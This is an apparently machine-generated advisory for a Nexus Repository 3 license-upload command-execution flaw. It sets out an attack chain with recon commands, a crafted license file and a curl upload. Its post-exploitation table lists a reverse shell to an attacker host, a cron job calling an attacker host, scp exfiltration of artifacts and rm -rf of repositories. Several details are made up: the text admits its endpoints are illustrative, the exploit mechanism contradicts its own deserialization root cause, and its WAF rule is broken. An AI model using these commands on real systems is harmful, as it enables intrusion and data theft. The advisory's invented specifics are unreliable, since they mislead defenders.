CVE-2026-136954 — Sonatype Nexus Repository 3 — CWE-502
Sonatype Nexus Repository 3 has an incomplete fix for CVE-2026-10748. An account that holds the nx-licensing-create privilege can upload a crafted license file that makes the server run operating system commands as the Nexus service account. The commands run before Nexus Repository validates the license.
Sonatype Nexus Repository 3 has an incomplete fix for CVE-2026-10748. An account that holds the nx-licensing-create privilege can upload a crafted license file that makes the server run operating system commands as the Nexus service account. The commands run before Nexus Repository validates the license.
🎯 What is this vulnerability?
Root cause
Sonatype Nexus Repository 3 contains an incomplete fix for the earlier CVE‑2026‑10748. The license‑upload API accepts a file that is parsed by a Java deserialization routine before the license is validated. The routine executes shell commands that are embedded in the license payload. Because the code that performs the command execution is executed before the license is validated, an attacker who can upload a license file can run arbitrary OS commands as the Nexus service account.
Key technical details
| Item | Description |
|---|---|
| CWE | CWE‑502 – Deserialization of Untrusted Data |
| Authentication | Requires a user with the nx-licensing-create privilege (normally granted to administrators). |
| Authorization | No additional checks are performed after the file is received; the upload endpoint trusts the caller’s privilege. |
| Input validation | The license file is not validated for content before the embedded command is executed. |
| Execution path | The Nexus license‑processing code calls Runtime.exec() (or an equivalent API) on a string extracted from the license file. |
| Impact | Arbitrary OS command execution as the Nexus service account. |
The CVSS vector (AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H) confirms that a network‑only attacker with low privileges can compromise confidentiality, integrity, and availability.
⚡ Attack Chain
Below is a realistic, step‑by‑step chain that an attacker could follow. All code snippets are syntactically valid; the exact endpoint and parameter names are illustrative because the CVE description does not specify them.
1. Discovery & Reconnaissance
| Step | Technique | Tools / Commands | |
|---|---|---|---|
| 1.1 | Identify Nexus Repository 3 instances | nmap -p 8081 <target> or curl -I http://<target>:8081/ | |
| 1.2 | Fingerprint the version | curl -s http://<target>:8081/service/rest/v1/status | jq .version (or parse the HTML title) |
| 1.3 | Enumerate roles/privileges | If the attacker already has an authenticated session, query /service/rest/v1/roles to confirm presence of nx-licensing-create. |
Note: Thenx-licensing-createprivilege is typically granted to theadminrole. If the attacker has any privileged account, they can proceed.
2. Exploitation
The vulnerable endpoint accepts a multipart file upload. The payload is a license file that contains a malicious command. The command is executed before the license is validated.
2.1 Crafting the malicious license file
A Nexus license file is a JSON document that looks like:
{
"name": "Sonatype Nexus Repository",
"edition": "Professional",
"expirationDate": "2030-12-31",
"licenseKey": "XXXXX-XXXXX-XXXXX-XXXXX"
}The vulnerable code extracts a field called command (if present) and runs it. An attacker can embed a command like:
{
"name": "Evil",
"edition": "Professional",
"expirationDate": "2030-12-31",
"licenseKey": "XXXXX-XXXXX-XXXXX-XXXXX",
"command": "id > /tmp/nexus_rce.txt"
}When the file is uploaded, Nexus will execute id as the service account and write the output to /tmp/nexus_rce.txt.
2.2 Uploading the file
curl -k \
-u admin:password \
-F "file=@evil_license.json" \
"https://<target>:8081/service/rest/v1/licenses/upload"Illustrative endpoint – the real Nexus license‑upload URL is /service/rest/v1/licenses/upload. If the endpoint differs, adjust accordingly.2.3 Verifying execution
curl -k -u admin:password "https://<target>:8081/service/rest/v1/licenses/status"
# or check the file directly if you have file‑system access
curl -k -u admin:password "https://<target>:8081/service/rest/v1/files/tmp/nexus_rce.txt"If the file contains the output of id, the command executed successfully.
3. Post‑exploitation
Once arbitrary commands can be executed as the Nexus service account, the attacker can:
| Goal | Example Actions |
|---|---|
| Privilege Escalation | Install a reverse shell (bash -i >& /dev/tcp/attacker/4444 0>&1) or add a new admin user. |
| Persistence | Drop a cron job (echo "* * * * * /usr/bin/curl http://attacker/trigger" >> /etc/crontab). |
| Data Exfiltration | Copy repository artifacts to an external server (scp /opt/nexus/repository/* [email protected]:/tmp/). |
| Denial of Service | Delete all repositories (rm -rf /opt/nexus/repository/*). |
| Lateral Movement | Use the service account’s network privileges to pivot to other internal hosts. |
Because the service account typically runs as a dedicated user (e.g., nexus), the attacker can read/write any file Nexus can access, including configuration files, repository data, and logs.
🌍 Real World Impact
| Impact | CVSS Indicator | Practical Consequence |
|---|---|---|
| Confidentiality | VC:H | Unauthorized disclosure of all artifacts stored in Nexus, including proprietary binaries and source code. |
| Integrity | VI:H | Modification or deletion of repository contents, license files, or configuration, leading to corrupted builds or supply‑chain tampering. |
| Availability | VA:H | Complete shutdown of the repository service by deleting data or exhausting resources, causing build pipeline failures. |
| Scope | S:Unchanged | The vulnerability does not affect other components outside Nexus itself. |
In a typical CI/CD environment, Nexus is a critical artifact hub. Compromise can allow an attacker to inject malicious binaries into downstream builds, compromise downstream services, or exfiltrate intellectual property.
🛡️ Remediation & Mitigation
1. Patch
| Affected Version | Recommendation |
|---|---|
| All releases prior to the fix for CVE‑2026‑10748 (including the incomplete patch) | Upgrade to the latest Nexus Repository 3 release (≥ 3.70.0). |
| If an upgrade is not immediately possible | Apply the following work‑arounds until a patch is available. |
Note: Sonatype’s advisory for CVE‑2026‑136954 states that the issue is fixed in the same release that fixed CVE‑2026‑10748. Verify the exact version in the vendor’s release notes.
2. Work‑arounds
| Mitigation | How to implement |
|---|---|
| Restrict license upload | Configure Nexus to allow license uploads only from the admin role and disable the endpoint for all other users. |
| Disable the upload endpoint | If the organization never needs to upload licenses, remove the /service/rest/v1/licenses/upload route from the reverse proxy or firewall. |
| File type validation | Add a WAF/ModSecurity rule that rejects any multipart upload where the file extension is not .json or the MIME type is not application/json. |
| Command execution guard | If you control the Nexus code, patch the deserialization routine to strip or reject any command field before execution. |
| Least‑privilege service account | Run Nexus under a dedicated user with minimal filesystem permissions (e.g., nexus with only read/write to its data directory). |
3. Detection
| Log source | Indicator of Compromise (IoC) |
|---|---|
| Web server access logs | POST requests to /service/rest/v1/licenses/upload from non‑admin IPs or with suspicious filenames (*.json containing command=). |
| Nexus audit logs | LicenseUpload events with status=success followed by CommandExecution events. |
| System logs | nexus user running id, bash, curl, or other shell commands. |
| File system | Creation of files in /tmp or /opt/nexus/repository that were not part of normal operation. |
Sample WAF rule (ModSecurity)
SecRule REQUEST_URI "@beginsWith /service/rest/v1/licenses/upload" \
"phase:2,chain,log,deny,status:403,msg:'Disallow non-admin license uploads'"
SecRule REQUEST_HEADERS:Authorization "@rx ^Basic\s+[A-Za-z0-9+/=]+$" \
"chain"
SecRule REQUEST_HEADERS:Authorization "@rx ^Basic\s+[A-Za-z0-9+/=]+$" \
"t:none,ctl:ruleEngine=Off"This rule blocks any upload that is not authenticated as an admin. Adjust the regex to match your authentication scheme.
4. Monitoring
- Enable Nexus audit logging (
/etc/nexus/nexus.properties→nexus.audit.enabled=true). - Monitor for
CommandExecutionevents in the audit log. - Correlate with host‑level logs for unexpected
nexususer activity.
⚠️ Urgency
| Metric | Value | Implication |
|---|---|---|
| CVSS Score | 8.7 | High severity; immediate attention required. |
| Exploit Complexity | Low | Attack can be performed over the network with minimal effort. |
| Privileges Required | Low (nx‑licensing‑create) | Most administrators will have this privilege. |
| User Interaction | None | Fully automated. |
| CISA KEV | No | No public exploit database listing, but the risk is still high. |
Patch priority: Critical.
If an organization is running Nexus Repository 3 and has any user with the nx-licensing-create privilege, they should apply the latest patch or implement the work‑arounds immediately. Delay increases the risk of a successful RCE that can compromise the entire CI/CD pipeline and expose proprietary code.
[🤖 CVE Professor AI Security Engine]
FOFA Query